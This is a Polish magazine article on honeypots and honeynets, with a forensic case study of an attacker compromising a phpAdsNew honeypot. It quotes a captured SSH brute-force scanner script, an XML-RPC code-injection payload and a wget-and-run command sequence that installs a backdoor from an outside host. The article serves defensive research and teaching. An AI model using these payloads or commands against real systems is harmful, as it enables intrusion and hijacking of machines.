Od Redakcji: artykuł pochodzi z majowego wydania Linux Magazine. Kompletną listę artykułów możecie znaleźć na stronach miesięcznika.

Administratorzy stosujący aktywne podejście do kwestii bezpieczeństwa mogą skorzystać z systemów-pułapek do monitorowania, logowania i analizy technik używanych przez włamywaczy.

System-pułapka bądź wabik (honeypot) to specjalnie przygotowany host, którego zadaniem jest zwrócenie uwagi włamywaczy. Wygląda jak zwykły komputer produkcyjny, tyle że wrażliwy na atak z zewnątrz: jest to otwarte zaproszenie dla niczego nie spodziewającego się intruza. Jednak po wejściu do systemu role się odwracają i myśliwy sam staje się ofiarą. Wabik, który jest dokładnie monitorowany, wyposażony jest w szereg narzędzi, które przechwytują całą aktywność intruza.

Ta koncepcja rozszerza się czasem na całą sieć wabików (honeynet). Jeśli grupujemy wiele wabików działających na różnych systemach operacyjnych i z różnymi lukami w zabezpieczeniach, zwiększamy prawdopodobieństwo przyciągnięcia atakującego. Ponadto fakt eksplorowania przez intruza różnych maszyn i nawiązywanie różnych połączeń sieciowych dostarcza dodatkowych informacji na temat metod działania. Operator sieci wabików może jej też użyć w celach szkoleniowych, czerpiąc cenne doświadczenie z obserwacji strategii ataku i analizy powłamaniowej, nie narażając systemów produkcyjnych na niebezpieczeństwo.

Projekt Honeynet jest pozarządową organizacją badawczą, udostępniająca narzędzia służące do budowania i zarządzania sieciami wabików. Narzędzia udostępniane w ramach projektu Honeynet zaprojektowane są pod kątem wykorzystania w sieciach wabików najnowszej generacji, o wysokim stopniu interaktywności, wymagających dwóch oddzielnych sieci (Rysunek 1). Wabiki znajdują się w pierwszej sieci, zaś druga służy do zarządzania systemami-przynętami. Między nimi znajduje się urządzenie zwane „zaporą wabikową” (honeywall). Według twórców projektu Honeynet zapora ta jest rodzajem bramki, która „przechwytuje, kontroluje i analizuje cały ruch przechodzący”.

W ramach projektu Honeynet udostępniany jest również system o nazwie Roo (na CD) [1], mogący posłużyć jako podstawia zapory wabikowej. Proste instrukcje opisujące jego instalacje możemy znaleźć na witrynie projektu [2].

Rysunek 1: Sieć wabików z punktu widzenia administratora: zapora wabikowa jest punktem centralnym i interfejsem między wabikami a siecią administracyjną. Atakujący widzi jedynie wirtualne bądź fizyczne wabiki.

Narzędzia Roo

System Roo korzysta ze specjalnego narzędzia Snort Inline [3], zaś połączenia wychodzące TCP kontrolowane są za pomocą Netfiltra. Roo zawiera także narzędzia do pasywnego badania sygnatur systemów (Passive OS Fingerprinting [4]). Swatch (Simple Watcher of logfiles, czyli proste narzędzie do obserwowania plików dziennika [5]) analizuje logi zapory wabikowej w poszukiwaniu zdarzeń zdefiniowanych za pomocą wyrażeń regularnych i wysyła do administratora maile, jeśli widzi jakąś podejrzaną aktywność. Wreszcie główny moduł – lub sterownik Windows – Sebek [6], zaszyty jest głęboko w systemie operacyjnym i loguje wszystkie działania atakującego, takie jak polecenia wpisywane z klawiatury czy operacje na plikach (Rysunek 2).

Rysunek 2: Sebek przechwytuje i loguje aktywność włamywacza.

Obsługiwany z poziomu przeglądarki interfejs zwany Walleye przedstawia informacje przechwytywane przez zaporę w sposób zrozumiały dla operatora. Wyświetlany jest nie tylko ruch sieciowy – możemy też odpytywać pojedyncze wabiki (Rysunek 3). Przykładowo Walleye prezentuje dane uzyskane od Sebka w postaci grafów procesów, dzięki czemu operator uzyskuje przydatny przegląd aktywności włamywacza. Walleye potrafi też wyeksportować ruch sieciowy w formacie Pcap; zapisane w ten sposób pliki możemy zaimportować do innych narzędzi służących do analizy ruchu sieciowego, takich jak na przykład Wireshark. Walleye pozwala też modyfikować konfigurację zapory.

Rysunek 3: Walleye pokazuje ruch sieciowy w sieci wabików.

Listing 1: Skaner do wykrywania luk uruchomiony przez atakującego

01 #!/bin/bash
02 #
03 # by MethadoN
04 #
05
06 if [ $# != 1 ]; then
07         echo " usage: $0 <b class>"
08         exit;
09 fi
10
11 rm -rf scan.log
12 clear
13 rm -rf 0 1 2 3 4 5 gen-pass.sh secure screen scan
14 echo -e "33[1;36m#-~-=- BruTeSSH Scanner -=-~-#"
15 echo -e "#-~-=- Original by #eNable Team -=-~-#"
16 echo -e "33[1;37m#-~-=- Do NOT share this shit -=-~-#33[1;31m"
17 sleep 1
18 ././pscan2 $1 22
19 echo -e "33[1;36m#-~-=- BRUTEFORCE STARTED -=-~-#33[0m"
20 echo -e "33[1;36m#-~-=- Gr33tz to MethadoN ;) -=-~-#33[0m"
21 echo -e "33[1;36m#-~-=- Users NO.1 -=-~-#33[0m"
22 cp 0 pass.txt
23 ./sshd 100
24 sleep 5
25 echo -e "33[1;36m#-~-=- Users NO.2 -=-~-#33[0m"
26 cp 1 pass.txt
27 ...
28 ./sshd 100
29 echo -e "33[1;36m#-~-=- Party Over, Try Again :-) -=-~-#33[0m"

Godzina zero

Korzyści płynące z używania wabików ilustrujemy słynnym przykładem z 2006 roku. Na systemie Red Hat Linux 8 (z około 2002 roku) bez aktualizacji działał serwer WWW Apache z dziurawym oprogramowaniem phpAds [7]. Jednym z komponentów podatnych na atak była biblioteka XML-RPC z PHP [9], co w praktyce pozwalałoby atakującemu wykonywać polecenia na wabiku z uprawnieniami konta serwera WWW (luka dotyczyła phpAdsNew w wersji do 2.0.5).

W czasie ataku wabik miał adres IP z zakresu 192.35.0.0/16. Plik dziennika zapory wabikowej pokazywał, że włamywacz użył do ataku czterech systemów. Były to prawdopodobnie inne dziurawe systemy, przejęte przed atakiem na wabika.

Pasywna analiza ruchu sieciowego nie pozwoliła ustalić typu systemów operacyjnych na maszynach opanowanych przez włamywacza; parametry pakietów były zbyt ogólne, by to dokładnie określić. Wydaje się, że nazwą użytkownika jest ciąg MethadoN, ponieważ później w wabiku włamywacz zostawił klucz SSH dla konta o tej nazwie. Jest to również pseudonim autora różnych programów załadowanych na wabika przez atakującego (Listing 1).

Włamywacz rozpoczął pracę 7 maja, krótko po 15.00 (Tabela 1). Najpierw próbował zidentyfikować dziurawą aplikację webową działającą w systemie-pułapce. W tym celu przeprowadził wiele prób otwarcia xmlrpc.php, podając różne URL-e i dodając parametry, które pozwoliłyby wykonać polecenia na zdalnym hoście. Po około dwóch minutach znalazł odpowiedni URL dla phpAdsNew. Aktualną wersję jądra systemu operacyjnego odkrył za pomocą poniższego żądania POST:

<?xml version="1.0"?>
<methodCall>
<methodName>test.method
</methodName>
<params><param><value>
<name>',''));
echo ,_begin_n';echo
`uname -a`;echo
,_end_';exit;/*
</name></value></param>
</params></methodCall>

Nieautoryzowane wykonanie uname -a samo w sobie było udanym atakiem i pozwoliło atakującemu na uruchomienie odpowiednich eksploitów.

Następnie włamywacz zainstalował na wabiku różne skrypty i poszerzył swoje uprawnienia, zdobywając konto roota za pomocą odpowiedniego eksploita (20.51), dzięki czemu uzyskał całkowita kontrolę nad systemem. Następnie zainstalował różne skanery SSH, skaner wyszukujący podatne na wykorzystanie aplikacje PHP i rootkit z tylnym wejściem. Skaner luk pozwolił atakującemu zainstalować tylne wejście napisane w Perlu o nazwie Data ChaOS Connect Back Backdoor, które miało ułatwić interakcję z kontrolowanym systemem.

W tym momencie atakujący mógł już użyć drugiego tylnego wejścia z rootkitu SHv5, by zalogować się do systemu jako root przez port 1400 (Rysunek 4) bez uruchamiania lokalnego eksploita. Choć tylne wejście zainstalowane było na porcie 1400, wiele połączeń używanych przez włamywacza korzystało ze standardowej usługi SSH. Wydaje się więc, że tylne wejście zostało zainstalowane na wszelki wypadek, gdyby administrator chciał zablokować dostęp przez SSH. Tak długo, jak działał zwykły dostęp przez SSH, nie było powodu korzystać z tylnego wejścia. Następnie atakujący użył SHv5 do podmiany różnych programów w systemie na wersje zmodyfikowane, zacierając w ten sposób ślady swojej obecności. Dzięki temu na przykład polecenie ls przestało pokazywać pliki rootkita. Ponieważ wiele programów, które atakujący zainstalował na wabiku, było przygotowanych pod kątem Red Hata, wydaje się, że atak został dobrze zaplanowany.

Rysunek 4: Włamywacz zainstalował na wabiku rootkit SHv5.

Bez happy endu

Na krótki czas atakujący zainstalował fałszywą witrynę w celu gromadzenia loginów i haseł PayPala (21.49). Trudno powiedzieć, dlaczego trwało to tak krótko. Następnie włamywacz użył przejętego systemu do przeprowadzenia kolejnych ataków – zarówno na sieć lokalną, jak i na hosty w Internecie, cały czas korzystając z protokołu HTTP. Tego typu atakowi trudno zapobiec, ponieważ zablokowanie HTTP na poziomie zapory wabikowej odcięłoby atakującego od narzędzi, z których korzystał.

W każdym razie zapora wabikowa nie blokowała wychodzących połączeń SSH, natomiast regułki Netfiltra ograniczały możliwości przeprowadzenia ataku DoS. W domyślnej konfiguracji zapora wabikowa zezwala na piętnaście wychodzących połączeń TCP i 20 UDP dziennie. Zapobiegło to zmasowanemu atakowi z wabika na serwer WWW firmy hostingowej (dzień drugi, 13:30). Atakujący zauważył to i prawdopodobnie doszedł do wniosku, że jest to błąd w używanym przez niego oprogramowaniu UDP, ponieważ pobrał je ponownie, tym razem z innego źródła.

Chcąc przechwycić więcej maszyn, atakujący wydawał kolejno polecenia:
wget 208.25.xxx.xxx:443/bind.jpg, tar xzvf bind.jpg, chmod a+x httpd i ./httpd (dzień drugi, 24.00). Rezultatem miała być instalacja tylnego wyjścia uruchomionego z uprawnieniami serwera WWW. W niecałe dwie minuty atakujący przechwycił sześć komputerów w Internecie, korzystając z tego wektora ataku. W tym momencie operatorzy wabika wyłączyli go, by uniknąć dalszych szkód, i poinformowali o ataku wszystkich administratorów, których on dotyczył.

Analiza śladów

Dla celów analizy administrator odłączył wabika od sieci i podmontował zainfekowane dyski twarde na innej maszynie. W ten sposób uniknął uruchomienia rootkitów, ponieważ istniejące programy nie były wykorzystywane. Zawsze warto pamiętać o środkach ostrożności. Przykładowo pliki dziennika zapisane przez zaporę wabikową niekoniecznie muszą zawierać prawdziwe dane dotyczące źródeł, z których atakujący pobierał złośliwe oprogramowanie, dlatego dobrze jest ich poszukać w samym systemie-pułapce. Co więcej, możena ukryć przed włamywaczem oprogramowanie przechwytujące ruch sieciowy, jeśli jednak użyje on szyfrowania, większość informacji zostanie utracona. Dlatego też niezwykle ważne, by bezpośrednio śledzić działania atakującego, aby w razie potrzeby móc od razu podjąć odpowiednie kroki.

Tabela 1: Historia ataku

Modyfikacja systemu plików na przejętym wabiku jest oczywista. Metody analizy powłamaniowej pozwolą administratorowi przywrócić usunięte pliki dziennika i złośliwe programy, odsłaniając metody zacierania śladów i wprowadzane zmiany. W tym przypadku pliki dziennika skanera luk zdradziły wszystkie adresy IP, które stały się celem włamywacza atakującego z systemu-pułapki.

Środki ostrożności

Studia przypadków włamań na wabiki mają ogromną wartość edukacyjną i pozwalają uniknąć powtarzanych ataków. Należy jednak zwrócić uwagę, że w niektórych jurysdykcjach i w określonych okolicznościach operatorzy wabików mogą łamać prawo. Pamiętajmy, że włączenie systemu-pułapki zawsze wiąże się z konsekwencjami prawnymi. Chodzi zwłaszcza o pomoc w popełnieniu przestępstwa czy nakłanianiu do niego i odpowiedzialność za każdy udany atak przeprowadzony z wabika.

Oczywiście równie ważne jest odpowiednie zabezpieczenie sieci wabików, by uniknąć problemów z siecią właściwą [10]. Do uruchomienia systemu-pułapki nie należy podchodzić nieodpowiedzialnie; na operatora spada odpowiedzialność za ciągłe monitorowanie poczynań zapraszanych gości.

Info

• [1] Roo: https://projects.honeynet.org/honeywall
• [2] Projekt Honeynet, Roo CDROM User’s Manual: http://yum.honeynet.org/roo/manual
• [3] Snort Inline: http://snort-inline.sourceforge.net
• [4] POF (p0f): http://lcamtuf.coredump.cx/p0f.shtml
• [5] Swatch: http://sourceforge.net/projects/swatch/
• [6] Sebek: https://projects.honeynet.org/sebek/
• [7] Obecna wersja phpAds: http://sourceforge.net/projects/phpadsnew/
• [8] Edward Balas i Camilo Viecco, Towards a Third Generation Data Capture Architecture for Honeynets: http://old.honeynet.org/papers/individual/hflow.pdf
• [9] Podatność PHP XML-RPC: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498
• [10] Ryan Talabis, A Primer on Honeynet Data Control Requirements: http://www.philippinehoneynet.org/index.php?option=com_docman&task=doc_download&gid=7&Itemid=29

Autorzy

Markus Engelberth, Jan Göbel, Christian Gorecki i Philipp Trinius są doktorantami na wydziale Informatyki Stosowanej Uniwersytetu w Mannheim w Niemczech. Oprócz wabików zajmują się również walką ze spamem, śledzeniem botnetów i badaniem złośliwego oprogramowania.